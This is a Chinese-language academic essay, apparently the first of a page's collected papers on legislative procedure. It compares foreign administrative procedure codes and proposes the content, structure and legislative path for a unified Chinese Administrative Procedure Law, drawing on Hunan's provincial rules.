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立法程序论文赏析八篇

时间:2023-03-21 17:10:31

立法程序论文

立法程序论文第1篇

关键词: 行政程序/立法目的/内容选择/立法架构/立法路径 内容提要: 行政程序法是现代国家规范行政权力的基本法,它的制定对国家机关之间的关系、国家与公民之间的关系有着深远影响。当前,中国在国家层面制定统一的行政程序立法的时机已经完全成熟。本文希望通过对行政程序法的立法目的、行政程序法典与其他单行法的关系、中国行政程序法的内容选择、立法架构及立法路径等问题的探讨,为推动我国统一行政程序立法献绵薄之力。 三、中国行政程序法的内容选择 没有哪一部法律像行政程序法那样在世界范围内存在如此巨大的内容上的差异,有的国家如美国、奥地利、瑞士等仅对行政程序通则作出规定,而有的国家如德国、西班牙、葡萄牙不仅对行政程序作了一般规定,还对特定种类行政行为的程序作了特别规定;有的国家如美国、日本、韩国和瑞士仅规定了程序内容,而有的国家如德国、荷兰、奥地利、西班牙、葡萄牙则不仅规定了程序内容,还包括实体内容;有的国家如美国、日本、瑞士、荷兰仅规定了外部行政程序,而有的国家如西班牙、葡萄牙不仅规定了外部行政程序,还规定了内部行政程序;有的国家如日本仅规定了行政的事前、事中程序,而意大利、奥地利、瑞士、西班牙、葡萄牙不仅规定了行政事前、事中程序,还规定了行政事后救济程序。 世界各国行政程序法在内容上的巨大差异性无形中给中国未来行政程序法的内容选择增添了难度。深入比较各国行政程序法的规定,虽然差异很大,但可以从以下几个方面定位,从而为探讨中国的行政程序法内容选择提供思考路径:(1)程序规范之外是否包括实体规范?(2)外部行政程序之外是否包括内部行政程序?(3)除了规定行政行为的过程之外是否包括事后救济程序?(4)选择规定哪些类型的行政行为的程序? (一)程序规范之外是否包括实体规范 行政程序法既然是关于程序的规定,程序性规范自然是各国法典都要规定的。然而,在德国等大陆法系国家,行政程序法的制定与行政法的法典化有极为密切的关系,与行政程序相关的实体问题也在程序法中得到规定,从而部分实现行政法法典化。因此,行政程序法可以从此角度分为程序型和程序与实体并存型两种。 1.程序型 程序型指在行政程序法中仅有程序规定,不包括实体规定。采用程序型的国家主要有美国、瑞士、日本和韩国。 美国将行政法视为控制行政权力滥用的法律,而不是行政权力运行的法律,因此并不重视行政法的法典化工作,制定行政程序法的目的在于将宪法中的正当法律程序条款制度化,为公民面对行政权力提供基本的程序保障,同时使行政权力的行使统一化、标准化和简单化。美国《联邦行政程序法》的内容主要包括行政公开制度、规章制定程序、行政裁决程序和司法审查等内容,基本为程序规定,没有对实体事项作出规定。 日本在二战前行政法体系深受德国影响,但二战后,在美国占领下,随着新宪法的制定,其法律体系和法律理念大幅度英美法系化,而且日本行政程序法的出台,很大一部分原因是迫于美国的压力。因此,其行政程序法删除了行政立法、行政计划与行政合同等的内容,仅对处分和行政指导、申报作了规定,内容基本为程序规定,分别规定了对申请所为的处分、不利益处分和行政指导的程序。 韩国1987年草案对与程序密切相关的实体问题作了规定,但1996年的《行政程序法》只对纯粹的程序规定进行了立法化,除若干个特例外(如第48条关于行政指导原则的规定),原则上只规定了程序。其内容主要规定了处分程序、申报程序、行政立法预告程序、行政预告程序、行政指导程序等。 瑞士《行政程序法》仅对程序作了规定,但不同于美国、日本和韩国的是它不是按行政行为类型规定不同的程序,而是对行政程序作了总则性规定,包括管辖、、证据、回避、阅览卷宗和听取当事人意见等制度,这些规定为行政程序的一般规定,在其他法律没有特别规定时,适用于所有的行政行为。 2.程序与实体并存型 程序与实体并存型指行政程序法中不仅有程序规定,还包括实体内容。采用实体与程序并存型的主要是具有行政法法典化理想的大陆法系国家,以德国为代表,还包括意大利、奥地利、西班牙、荷兰、葡萄牙等国家,以及澳门地区和台湾地区。奥地利1925年《行政程序法》中有关于裁决(行政行为)的效力等实体内容的规定,但其规定不够全面、集中。德国1976年制定的《联邦行政程序法》则对行政行为的效力等内容作出详尽规定,以其内容的完备,使实体与程序并存型立法形成与美国《联邦 行政程序法》相对的另一种立法模式。 从上述国家和地区的行政程序法的规定来看,行政程序法中实体内容主要包括: (1)行政法基本原则。如荷兰《基本行政法典》(行政程序法部分)规定了适当行政的原则;葡萄牙和澳门地区行政程序法规定了合法性原则等11条原则,其中规定了谋求公共利益与保护公民权益原则、平等原则及适度原则等实体原则;台湾地区“行政程序法”中规定了平等原则、比例原则、诚信原则等行政法的一般原则。 (2)行政行为的成立与效力。其中以德国《联邦行政程序法》的规定最为完备,该法第三章为行政处分,共计19条系统规定了行政行为的定义、成立、附款、效力(生效、无效、转换、撤销、废止和补正)等内容。西班牙《行政程序法》规定了行政行为的效力,包括行政行为的可撤销性、可转让性以及瑕疵行为的确认有效等;葡萄牙和澳门地区的《行政程序法》规定了行政行为的有效、不完全有效、废止等内容;台湾地区“行政程序法”规定了行政处分的成立与效力等内容,共计35条,约占全部法条的20%。 (3)行政合同。行政合同在德国称公法契约,在台湾地区称行政契约。德国《联邦行政程序法》第四章为公法契约(行政合同),共计9条规定了公法契约的订立、效力、方式等内容。葡萄牙、澳门地区行政程序法和台湾地区行政程序法规定了行政合同的适用范围、种类、合同应具备的条款、行政机关与相对人的权利义务、行政合同的生效、变更和无效以及合同争议的解决等内容。 3.中国未来行政程序法的选择:程序与实体并存型 行政法学者提出的数种专家意见稿都是肯定规定实体规范,是所谓“大法”。在全国人大法工委曾经修改形成的唯一一次草案中删除了实体内容,集中在具体行政行为的程序上,是所谓“小法”。那么,未来的中国行政程序法典要否也在其中规定实体规范?如果需要,又具体规定哪些实体规范?要否在行政程序法中规定实体内容也是台湾地区行政程序立法过程中争议较大的一个问题。考虑是否在程序法典中规定实体内容,不必拘泥于“程序”二字字面上的限制,关键在于所要规定的实体内容是否是立法应当规范而又无法在其他立法中加以规范的。德国和台湾地区之所以在行政程序法典中规定实体内容是因为行政法法典化存在相当的难度,只好借助行政程序法典化之机,将与程序有关的行政法总则中的部分内容规定在其中,从而部分实现行政法法典化。大陆面临的问题与之是相同的,应当借鉴德国和台湾地区的成功作法,借制定行政程序法典之机,规定部分实体问题,以更好实现依法行政的目标。 我国应该在法典中规定哪些实体内容?至少包括三个方面: 第一,行政法的基本原则。基本原则也是行为准则,只是较之制度内容具有高度概括、抽象的特点。基本原则正是以其内容的高度概括有效弥补了成文法之不足,得以应对纷繁复杂的实践。当缺乏具体制度规定时,行政机关还必须符合行政法的基本原则,从而为规范行政权提供基本行为准则,使其不致逾越法治的基本要求,不致损害民众的利益。 第二,行政决定的成立与效力。行政行为是我国行政法学的核心概念,其界定和分类直接影响公民、法人或其他组织能否申请行政复议和提起行政诉讼。然而,行政行为的内涵、成立要件、效力的内容等在理论上的认识存在较大争议,给行政实践造成很大的问题,需要在法律制度上将之明确化,以解决适用中的不统一和不明确的问题。 第三,行政合同与行政指导。行政合同在性质上不同于民事合同,新修改的合同法没有将行政合同列入其中,而行政合同作为一种现实在我国大量存在,由于缺乏法律规范,带来大量问题,因此,可以考虑在行政程序法中规范行政合同。行政指导。由于行政指导采用说服、教育、建议等非强力手段达到行政管理目的,被称为柔性执法,目前特别受到执法部门的注意。但具体作法差异很大,亟须在统一法典中作出规范。 (二)外部行政程序之外是否包括内部行政程序 外部行政程序即调整行政机关与公民、法人或其他组织之间关系的程序规则。外部行政程序是现代行政程序法的核心内容,是各国行政程序法典共同规定的事项,有的国家行政程序法完全为外部行政程序的规定,不涉及行政机关内部关系,但有的国家则以外部行政程序为主,同时对调整行政机关之间关系的规则作了规定。 1.外部型 外部型指只对与相对人权利义务直接相关的程序制度作出规定,不涉及行政机关内部关系,如美国、日本。 美国《联邦行政程序法》从正当程序观念出发,通过规定公民在行政程序中的权利制约行政权力,其核心在于规范行政机关与公民之间权利义务关系, 因此,基本没有行政机关内部相互间关系的规定。日本1993年行政程序法的出台非常匆忙,《日本公正、透明之行政程序委员会报告》对1993年行政程序法的内容作了这样的说明:本委员会虽非忽视以整体性、概括性为目标所进行调查检讨之意义,但就迄今尚未能实现制定行政程序法为一般性规定之原委始末、来自国内外对统一整理行政程序之要求暨我国行政运作之实务等各方面加以综合考察的结果,此次乃采取与行政程序相对人之国民权益有直接关系之部分为范围,优先统一整理行政程序法制,较为妥适之见解。基于这种见解,日本《行政程序法》对申请所为的处分、不利益处分和行政指导的程序作了规定,基本没有涉及行政机关内部关系。 2.外部与内部并存型 外部与内部并存型指行政程序法在规定与相对人直接相关的外部程序的同时,规定了与相对人没有直接关系的内部程序。当然,采用外部与内部并存型的国家仍以外部行政程序的规定为主。采用外部与内部并存型的国家较之外部型的国家要多,基本为大陆法系国家,有意大利、德国、奥地利、西班牙、葡萄牙,以及澳门地区和台湾地区。其原因主要在于:在行政法法典尚付阙如的情况下,一些与外部程序关联极为密切的内部程序就不能不在行政程序法典中作出规定。例如:对行政权力运行主体的规范等自然只能规定在以行政权为调整对象的行政程序法中。 西班牙关于内部行政程序的规定最为完备,葡萄牙和澳门地区次之。西班牙行政程序法包含大量行政组织内容,不仅规定了中央与地方行政机关以及地方行政机关之间的关系,还规定了行政部门的设立及其职能,并规范了集体领导机构的内部规程。各国关于内部行政程序的规定主要包括以下内容: 第一,合议机关制度。包括合议机关的组成人员(主席、成员和秘书);合议机关会议制度(会议的召集、法定人数、会议不公开进行);决议事项;表决(禁止弃权、人数、方式);会议记录。 第二,行政机关相互间关系。这是行政程序法规定的重点,主要包括:原则;上级机关的命令指挥权;授权(授权的条件、转授权、授权机关的权力、授权或转授权的消灭);授权签字;委托(委托发生的情形、委托的公布);委托办理(委托办理的公布、委托办理的方式、委托办理的事项);行政协助(行政协助发生的情形、行政协助的拒绝、行政协助争议及处理);接替和代任;调卷审理。 第三,管辖。管辖指上下级行政机关和不同地区同一级别行政机关权限的划分。管辖是行政程序法上一项重要制度,瑞士、德国、奥地利和台湾地区都对管辖作了很详细的规定。具体包括管辖权法定原则、管辖的种类、管辖权的竞合及其解决、管辖权争议及解决和管辖权的变更及其处理等内容。 除上述内容外,西班牙《行政程序法》还对行政机关的设置方面的内容作了规定,该法第11条规定:“(1)各公共行政机关有权在自身职能范围内根据本机构的特点确定组成该行政机关的行政部门;(2)设立任何一个行政部门均应履行下列手续:明确加入有关公共行政机关的方式及其隶属关系;确定其作用及职能;配备用于成立和运转所需要的贷款;(3)如不取消现有机构或不对其职能进行必要的限制,不得成立重复的新机构。” 3.中国未来立法的选择:外部与内部并存型 内部行政程序虽然不直接涉及相对人的权利义务,但对相对人的权利义务间接产生影响。如果不对之加以规范,不利于保护相对人。如行政机关将本应由己实施的行政管理行为委托给其他主体实施,如果不对受托机关的条件、可以委托事项的范围、将受托机关和委托事项进行公告等事项作出规定,将会由于受托机关不具备实施条件等问题可能对相对人的权利造成损害。又如管辖,因管辖不明引起的行政机关之间的冲突在所常见,对公民权益也产生众多影响。事实上内部行政程序的规范在我国地方立法中是一项重点内容。《湖南省行政程序规定》和福建省、广西、湖北等省等地制定的行政执法条例中都设专章规定了相关制度,内容涉及行政执法机关的范围、行政执法人员资格制度、执法人员持证上岗制度、委托、管辖、行政协助等内容。 我国未来的行政程序法中关于内部行政程序的规定可以考虑对管辖、行政协助、行政委托等制度作出规定。 (三)事前程序之外是否包括事后争议解决程序 行政程序法是对行政过程的规定,是关于行政机关如何作出行政行为的法律规范,自然以事前程序为其核心内容。由于因行政行为的效力可以经由行政复议或者行政诉讼变更,其效力在一定期间内待定,有的国家因之对行政程序作了延伸理解,将行政行为作出后行政机关解决争议的程序也规定在行政程序法典中。 1.事前 型 事前型是指仅在行政程序法中规定如何作出行政行为的程序,不涉及事后行政复议程序,如日本、韩国。采用事前型的国家通常已制定单行的行政复议法律,如日本已制定《行政不服审查法》。 2.事前事后并存型 采用事前事后并存型的国家有德国、意大利、奥地利、瑞士、西班牙、葡萄牙、澳门地区,其中瑞士《行政程序法》中诉愿程序占了条文总数的三分之一强。我国台湾地区在《行政程序法》中规定了陈情的程序。美国是唯一在《行政程序法》中规定法院司法审查的国家。 将行政复议程序作为行政程序的一个环节规定在行政程序法中的作法体现了对行政程序作出事前、事后整体规范的思路。 3.中国未来立法的选择:事前型 由于中国已经制定单行的《行政复议法》和《行政诉讼法》,没有必要在行政程序法中规定事后救济机制,行政程序法仅规定事前程序。 (四)规定哪些种类行政行为 由于不同种类的行政行为程序规则差异很大,将行政行为类型化、进而规定各类行政行为的程序,是各国行政程序法普遍采取的立法技术。选择规定哪些种类行政行为直接确定了该国行政程序法典调整对象的范围。 1.外国行政程序法的选择 行政决定的程序在各国行政程序法中都有规定,之外的其他种类行政行为则在不同国家呈现出较大的差异性。列举一些国家的规定如下: 美国《联邦行政程序法》是妥协的结果,其调整范围仅限于两类行政行为:规章制定和行政裁决。 德国《联邦行政程序法》规定了两类行为的程序:行政行为(相当于我国的具体行政行为)和行政合同。 日本《行政程序法》规定了三类行政行为的程序:行政处分(其中又分为对申请所为的处分和不利益处分)、行政指导和申报。 韩国《行政程序法》规定的行政行为有:行政处分、申报、行政立法、行政预告、行政指导。 我国台湾地区“行政程序法”规定的行政行为有:行政处分、行政契约、法规命令及行政规则、行政计划、行政指导、陈情。 2.行政程序法专家建议稿的设想 中国学者对于在行政程序法中要规范哪些种类行政行为分歧并不大。 第一种设想包括:行政决定、行政立法和制定行政规范性文件、行政规划、行政指导、行政合同。 第二种设想包括:行政决定、行政规则、行政规划、行政指导、行政合同。 第三种设想包括:行政规定、行政规划、行政决定、行政合同、行政指导。 这三种设想中唯一不同的是“行政立法和制定行政规范性文件”、“”行政规则、“行政规定”,名称不同,其实说的是一回事。 3.《湖南省行政程序规定》 《湖南省行政程序规定》中规定的行政行为的种类大大超过了学者专家建议稿中规定的行为种类,包括:重大行政决策、制定规范性文件、行政执法、行政合同、行政指导、行政裁决、行政调解、行政应急行为。其中,重大行政决策和行政执法是其规范的重点。 4.中国未来行政程序法的选择 中国未来行政程序法中可以考虑规定以下种类行政行为: 第一,行政决定。行政决定的数量最多,直接影响公民、法人或其他组织的权利,是各国行政程序法重点规定的内容,也应是我国未来程序法典中要重点规范的行政行为。 第二,制定行政规范性文件。行政机关非民意代表机关,由其制定规则,应当遵循严格的程序规则,以防止规则制定机关谋取部门利益,并保护利益将受影响的各类主体。我国近年来在制定行政规范性文件的理论研究和实务方面都有重大发展,法典应很好总结这方面的经验。关于行政决策。目前很多地方制定了单行的决策程序规定。《湖南省行政程序规定》中也有单列规定。法典要仔细研究行政决策和制定规范、行政决定之间的关系,避免重复。 第三,行政合同和行政指导。行政合同与行政指导都是实践中正在运用的新类型的行政管理方式,是对传统行政机关单方意志支配的管理方式的突破。行政合同强调管理者与被管理者的合意,行政指导则在于通过被管理者自愿采纳、执行管理者的建议,实现行政管理的目的。行政合同和行政指导目前在我国都欠缺立法规定,而它们的运用领域和范围随着服务型政府建设的深入将日益广泛,有必要在行政程序法典中作出规定。 第四,法典中不规定行政规划。不赞成规定行政规划的原因是行政规划的外延极其宽泛。行政规划在德国、日本和我国台湾地区称“行政计划”。也许是为了摆脱过去计划经济的阴影,我国学者多使用“行政规划”一词。 行政规划的种类非常繁杂,根据不同标准可以进行多角度的分类。如按照规划是否具有法律 上的拘束力可以分为拘束性规划和非拘束性规划;按照行政层级可以分为国家规划、省级规划、县级规划;根据行政规划的对象和功能,可以分为总体规划、专项规划和区域规划;根据行政规划的区域范围,可以分为全国规划、地方规划和区域规划;根据行政规划的时间长短可以分为长期规划(长远规划、远景规划)、中期规划、短期规划等等。行政规划如此繁多的种类使得统一立法存在相当的难度,而最需要规范的城乡规划程序又已在2007年10月28日通过的《城乡规划法》(2008年1月1日施行)中规定。因此,未来的行政程序法典中可以不规定行政规划。 基于上述四个方面的分析可以对未来的中国行政程序法典的内容选择作出框架描述:既有程序的规定,又有实体的规定;既有外部行政程序的规定,又有内部行政程序的规定。法典不包括行政复议程序,集中在行政的事前程序规定,其规定的行政行为包括行政决定、制定行政规范性文件、行政合同和行政指导。这将是一部对行政权力进行系统规范、内容十分丰富的行政程序法典,并将部分实现行政法法典化。 四、行政程序法的立法架构 行政程序法的立法架构是指行政程序法的内容在结构上的安排。立法架构是一个技术性问题,处理好了不仅有利于法典的顺利出台更有利于法典的理解和执行与行政程序法的内容选择一样立法架构也一直是中国行政程序立法中争议较大的一个问题[11]。 (一)外国行政程序法立法架构之比较研究 没有哪部法律象行政程序法那样在各国之间存在如此巨大的差异,内容上的差异直接导致了各国立法架构的不同。综观各国行政程序法,不仅在行政程序法中规定了实体内容国家的立法架构与仅规定程序内容的国家差别很大,仅就各国共有的程序规定而言,立法架构差别也很大。 1.程序与实体并存型国家的立法架构 采用程序与实体并存型的国家和地区行政程序法的制定与行政法的法典化有极为密切的关系。行政程序法的制定不仅担负行政程序法典化的功能,还担负行政法法典化的重任。行政程序法的双重功能一方面决定了法典的体系及其基本内容,另一方面也决定了法典立法架构的选择。在大陆法系国家,行政法被认为是关于行政权力运行的法律[12],以行政行为为核心概念构筑其体系,包括实施行政行为的主体、作出行政行为的程序、行政行为的各种表现形式、对行政行为的监督及救济等内容。与之相适应,行政程序法的立法架构基本采用了如下思路:行政行为由谁作出——行政行为遵循何种程序作出——行政行为的成立与效力——对行政行为的监督与救济,与其行政法体系的构筑基本吻合。最为典型的莫过于葡萄牙与澳门地区[13],从其标题即可清晰看见法典架构的脉络与行政法体系的一致。 第一部分:一般原则 此部分包括两章,规定了定义、适用范围、一般原则。 第二部分:主体 此部分包括两章,规定了行政机关、利害关系人。 第三部分:行政程序 此部分包括四章,规定了各类行政行为共同遵循的程序规则,包括程序的一般原则、资讯权、通知及期间、程序的进行等内容。在程序的进行一章中又规定了程序的启动、调查制度、证据制度、听证制度、说明理由等内容。 第四部分:行政活动 此部分包括三章,规定了行政行为的成立、效力、执行、监督与救济,以及制定规章与订立履行行政合同两类特定种类行政行为的程序。 作为程序与实体并存型代表国家的德国的《联邦行政程序法》的立法架构也基本遵循了这一思路。德国的《联邦行政程序法》共计八章,依次为:适用范围、土地管辖、职务上协助;行政程序之一般规定;行政处分;公法契约;特种程序;法律救济程序;荣誉职务的工作、委员会;终结规定。 2.程序型国家行政程序法的立法架构及程序与实体并存型国家程序性规定的立法架构 各国行政程序法中关于程序性规定的立法架构主要有以下几种思路: (1)根据行政行为的种类,规定相应的程序 行政程序法以行政机关的行为为规范对象,有的国家因此以行政行为的种类为线索架构程序性规定。行政行为种类繁多、性质差异较大,以行政行为的种类为立法线索,其优点在于立法者可以选择需要规范的行为种类,针对每一行为的特点,规定与之相适应的程序。其缺点则在于由于有些程序制度适用于多种行政行为,势必造成立法的重复。美国、日本采用了此种架构思路,韩国基本可以认定为此种思路。 美国《联邦行政程序法》将行政行为分为规章制定与裁决两大类,将行政程序分为正式程序与非正式程序两大类,二者予以结合,一共规定了四种程序类型:规章制 定的非正式程序、规章制定的正式程序与裁决的非正式程序、裁决的正式程序。 日本《行政程序法》第一章“总则”规定了目的、定义、适用范围等内容,第二章至第五章分别规定了对申请所为的处分、不利益处分、行政指导、申报的程序,基本按照行政行为的种类规定了相应的程序。 韩国《行政程序法》第一章“总则”中内容较日本多,在定义、原则、适用范围之外,还规定了管辖及协调、当事人、期间和送达等制度,第二章至第六章分别规定了处分、申报、行政上立法预告、行政预告和行政指导程序。 (2)以行政程序的进程为主线,针对程序发展的不同阶段规定相应的程序 以行政程序的进程作为架构程序性规定的主线,符合人们认识发展的过程,并可以结合每一阶段的特点,规定相应的制度,显得立法思路清晰,简洁明了,易于执行。如: 意大利1955年《行政程序法》(草案)第二编“行政程序”,分为“程序之开始”、“程序之发展”与“程序之终结”三章[14]。 西班牙《行政程序法》第六编“关于行政程序的总规定”,以程序的发展为线分为五章,分别是“程序的开始”、“程序的安排”、“程序的审理”、“程序的结束”和“执行”。 奥地利的《一般行政程序法》第二篇为调查程序,第三篇为裁决,第四篇为诉愿程序,按照程序的发展阶段规定相应的程序。 葡萄牙和澳门地区《行政程序法》第三部分“行政程序”中第五章“程序的进行”分为:“开始”、“临时措施”、“预审”和“决定及其他消灭原因”等四节。 (3)总则和分则相结合 总则与分则相结合是指在总则中不分行政行为的种类和行政程序的阶段,规定行政权力公正运行的基本程序制度,这些程序制度有的适用于所有类型的行政行为,有的适用于多数行政行为;分则中则针对特定种类行政行为的程序作出规定。采用此种架构的优点在于既可以对适用于各类行政行为或大多数行政行为的共同程序制度作出规定,又可以兼顾特定种类行政行为对程序的特别要求。如台湾地区采用了此种架构。 台湾地区“行政程序法”第一章“总则”为行政程序的通则性规定,共计十一节,内容十分丰富,依次为:立法目的、定义、适用范围、基本原则;管辖;当事人;回避;程序之开始;资讯公开;期日与期间;费用;听证程序;送达。第二章至第八章依次规定了行政处分、行政契约、法规命令及行政规则、行政计划、行政指导、陈情、附则,属于分则的内容。 (二)行政程序法专家建议稿的设想 第一种,以行政行为的种类为主线[15]。此种立法架构思路是将每类行政行为独立为一章规定其程序。 第二种从法典的通常架构形式入手,分析中国行政程序法的架构形式。试拟稿的说明中提出法典的通常架构形式为总则、分则两大部分。但行政程序法典不同于刑法和民法,尽管包括实体法,但主要不是实体法。因此,不能采纳刑法、民法等实体法的架构形式;行政程序法也不同于诉讼法,尽管主要是程序法,但又包括实体法,因此不能采纳与诉讼法相同的架构体系。根据上述分析,行政程序法的分则部分分编(章)不能完全以程序的逻辑顺序为标准,而必须兼顾实体事项的性质和特殊行为与特殊程序。[16] 第三种采用总分式立法架构模式。所谓总分式立法结构是将行政程序法分成两部分,上半部采取总括式,下半部采取并列式。既作通则性规定,也作分则性规定。能统则统,不能统则分。其理由为:①能够充分体现制定集中系统的行政程序法的必要性。②能够较好处理行政程序法与各类行政行为法之间的关系。③是行政法体系对行政程序法的必然要求。[17] (三)《湖南省行政程序规定》的立法架构 由于定位于建构法治政府,《湖南省行政程序规定》要解决的问题非常多,涉及行政组织法、部分实体法内容、行政行为程序(行政行为又分为行政决策行为、行政执法行为和特定种类行政行为)、以及对行政机关履行程序义务的监督等。该规章在章节安排上以行政权力概念为核心,与我国行政法体系基本一致,其立法架构遵循以下思路:总则(第一章)——主体(第二章)——行政行为的程序(第三章至第七章)——事后监督和责任追究(第八章和第九章),其中每类行政行为的程序架构则遵循程序的开始——过程——结束的线性结构安排制度。 《湖南省行政程序规定》在立法架构上的一大特色是将行政公开制度与行政听证制度从行为中独立出来,单独成章。之所以将这两类程序制度单独列章是因为听证与公开是行政程序法的核心制度,也是各类行政行为都适用的程序制度,单独列章可以凸现制度的重要性,也避免各章 对共同适用的制度重复规定。 (四)关于中国未来行政程序法典立法架构的思考 由于立法架构是对法典规定的内容在结构上的安排,因此,本部分的探讨建立在前述对未来中国行政程序法典内容作出以下选择的基础上:既有程序的规定,又有实体的规定;既有外部行政程序的规定,又有内部行政程序的规定。法典不包括行政复议程序,集中在行政的事前程序规定,其规定的行政行为包括行政决定、制定行政规范性文件、行政合同和行政指导。 由于选择在行政程序法中规定实体内容,因此,我国的行政程序法典立法架构要解决两大问题:其一是实体性规定与程序性规定的架构,其二是作为法典重要和主要内容的程序性规定的架构。 1.关于实体性规定与程序性规定的立法架构 法典中拟规定的实体性规定包括:基本原则、行政主体、行政行为的成立与效力、行政合同。既然中国将行政程序法定位为规范行政权力的基本法,是一部对行政权力进行系统规范、内容十分丰富的大行政程序法典,在立法架构上可以考虑以行政权力为核心概念来合理安排实体性规定与程序性规定。即遵循行政权力涉及的主体——行政权力的运行程序——行政权力的运行结果的思路架构实体性规定与程序性规定[18],实质与我国的行政法体系基本一致。具体安排如下: (1)基本原则部分:基本原则是行政机关行使行政权力时应当遵循的基本行为准则,是对行政权力公正运行的最低限度的要求。根据立法架构惯例,置于第一章总则部分。 (2)行政主体部分:置于第二章。行政权力运行过程中涉及三类主体:行政权力的行使者、行政权力针对的对象、其他协助行政权力运行的主体。行政组织法规定了作为行政权力的行使者的行政机关及其他行使行政权力的主体,可以置于第二章。 (3)行政行为的成立与效力部分。此部分规定了行政行为的成立与生效、及行政行为效力变更的几种情形(无效、撤销、废止、补正等),应当置于行政权力运行程序之后,作为第四章。这是因为行政行为是行使行政权力的主体通过一定程序运行产生的结果。逻辑上先有程序运行、后产生结果。因此,应当将行政权力的运行程序作为第三章,行政行为的成立与效力部分置于其后,成为第四章。 2.关于程序性规定部分的架构 程序性规定部分的架构的焦点在以行为种类为主线还是以程序制度为主线来安排相应规定。在应松年教授主持拟订的《中华人民共和国行政程序法框架稿》(第一稿,2001年12月)说明中较好的分析了这个问题。该说明由肖凤城博士撰写,认为确定章节结构的主要困难在于如何解决程序制度的广泛适用性与行政行为的多样性之间的矛盾。程序制度与行政行为之间的关系是交叉的:一种程序制度如回避制度可以被多种行政行为所运用,一种行政行为又需要运用许多种程序制度。如果行政程序法只规定一种行政行为的程序,那就比较简单,只要按照程序制度之间的逻辑关系依序规定就行了。但是现代行政程序法的发展趋势则是在一部法中规定各种行政行为的程序,这样,就不得不面对程序制度与行政行为在章节结构上如何处理的问题。如果行政程序法的章节结构按照行政行为的种类来安排,那就会在每一种行政行为中都详细规定它所运用的程序制度,这部行政程序法就如同各类行政行为程序法的“汇编”,不但篇幅冗长、内容重复,而且不能形成一个有机整体。如果行政程序法的章节结构按照程序制度来安排,那么各种行政行为的区别就体现不出来。 在学者提出的三种专家建议稿中应当说基本采用的是以行为种类而非程序制度为主线的立法架构思路,但又兼顾各类行为都需适用的重要制度。在马怀德教授版和《湖南省行政程序规定》中有两章是按照程序制度规定的,而且都是听证制度和公开制度。 据此,未来中国行政程序法的程序性规定的立法架构可以考虑遵循以下立法思路: 第一,以行政行为的种类为主线安排各章的顺序。每一种行政行为构成独立一章,对每一类行为的程序作出完整、系统规定。包括行政决定、制定行政规范性文件、行政合同、行政指导各章。 第二,在每章中又以程序的进程为线。在每章之下又按照程序的开始——进行——结束的发展过程规定相应的程序制度。 第三,将公开制度和听证制度单独列章规定,理由已如前述。 第四,内部行政程序规定在行政程序中的主体中。内部行政程序的规定条款少,可以在第二章行政主体部分加以规定。 五、中国行政程序法典的立法路径 从1990年《行政诉讼法》提出“符合法定程序”是行政行为合法性的必要条件之一后,从此确立了行政程序在行政法治中的地位,这就必然要求 加快行政程序立法。鉴于当时制定统一法典的条件尚不成熟,因而立法机关先从各类行政行为的程序着手,经过十余年的努力,先后完成了行政处罚、行政许可,即不利处分和授益处分二大类行政程序。基本上也完成了行政立法程序。在此期间,各地方、各部门也制定了许多有关程序的规定。同时,对国外行政程序的研究也日益广泛深入。可以说,制定统一行政程序法的条件正日趋成熟。但随之而来的问题是:中国是一个大国,各地情况很不一样,中国的行政程序法典的立法路径是走“先地方、后中央”,还是走“先中央、后地方”,曾成为中国行政程序法典立法过程中争议很大的一个问题。尽管尽早出台统一的行政程序法典是学界的主流观点,但在数次国际性、全国性行政程序法研讨会上,都受到来自实际部门的人士的质疑。来自地方人大和各级行政机关的与会者中的很多人认为,行政管理领域性质差异较大,加之中国地区之间经济发展水平不平衡,以及不同层级执法人员的素质差异太大,统一的行政程序法典不及分散立法更能适应中国的实际情况。在相当一段时间里,尽管理论和实务工作者不断努力草拟行政程序法草案,但自2003年12月17日《十届全国人大常委会立法规划》将行政程序法位列第二类规划后,虽然单行法中有关程序的规定日益增多,人们的程序意识明显增强,但行政程序法典的制定工作在全国人大没有进展,直至2008年4月17日,《湖南省行政程序规定》的正式公布才打破了统一行政程序立法沉闷的局面。也正是这部启动中国统一行政程序立法破冰之旅的地方政府规章同时也终结了学界很多人所主张的先中央后地方的设想地方立法已然先行,且人们没有理由不等待更多地方立法为国家立法积累经验和提供教训,主张“先地方、后中央”的少数人事实上成了胜利者。 《湖南省行政程序规定》可谓近年来日益增长的地方行政程序立法的集大成者,是地方行政程序立法发展到一定时期的产物。当法律层面仍然在为是否启动行政程序法典的制定而反复论证时,部分省、市的地方人大已经悄然开始了本区域内统一行政执法程序规则的立法工作,如《广西壮族自治区行政执法程序规定》、《福建省行政执法程序规定》。而在黑龙江、吉林、河北、河南、山西、湖北、湖南、四川以及石家庄、乌鲁木齐、济南、宜春、南昌、延安、新余等市制定的《行政执法条例》中,80%以上的条款都是程序性规定。在程序制度立法方面,听证与信息公开是近年来行政法立法的两大重要区域:《行政处罚法》和《行政许可法》出台后,地方层面制定了大量的关于听证的细化规定;在政府信息公开立法方面,自广州市人民政府于2002年11月6日颁布首部地方性立法《广州市政府信息公开规定》,截止到2007年1月,我国共计颁布地方性政府信息公开立法40余部,政府信息公开立法走的正是先地方、后中央的立法路径。目前,地方行政程序立法仍在迅猛发展之中。应当说,正是地方在行政管理体制改革过程中的各种创新尝试推进了行政程序法的立法进程,并为国家层面的行政程序法典立法积累宝贵的经验。 中国的行政程序法典已然走了一条先分散、后统一,先地方、后中央的立法路径,目前的问题是中央层面在条件成熟时下一步是定位在全国人大制定行政程序法典,还是如政府信息公开立法那样,先由国务院制定行政法规?由于行政程序法典以行政权为调整对象,且被定位为规范行政权的基本法,因此,由全国人大制定行政程序法典是最为理想的,似乎也是多数人所认为的应然选择。但如果考虑到行政在中国社会中的地位,包括它在法治推进过程中扮演的角色,以及我国很多法律的完成都是先行政,由国务院先制定行政法规试行,后法律,待条件成熟时再上升为法律的现实立法途径,先由国务院制定行政法规,首先完成全国层面的统一规范,再上升为法律,也许不失为破解国家层面行政程序立法基本停滞局面的现实之策,因为只有在动态中才能寻求发展的机会和可能性。 以行政的公正、公开、参与、高效为立法目标的行政程序法,是现代国家规范行政权力的基本法,它的制定对国家机关之间的关系、国家与公民之间的关系有着深远影响。当今社会,无论中外,行政权力空前强大,一国如果没有建立起完善的行政权力规范机制,法治的实现无从谈起,公民权利的保障难以实现。尽管各国的行政程序法典的制定莫不历经艰难历程:日本、意大利从第一部法律草案出台到正式法典颁布,历经30余载;美国、德国、我国台湾地区莫不经过十几年之努力,立法方成功。在中国这样一个有着悠久“重实体、轻程序”法律传统的国度里,在一个民众权利意识尚薄弱的社会中,要想构建植根于西方文明中的现代行政程序制度,其遇到的困难只会更多,路只会更漫长。然 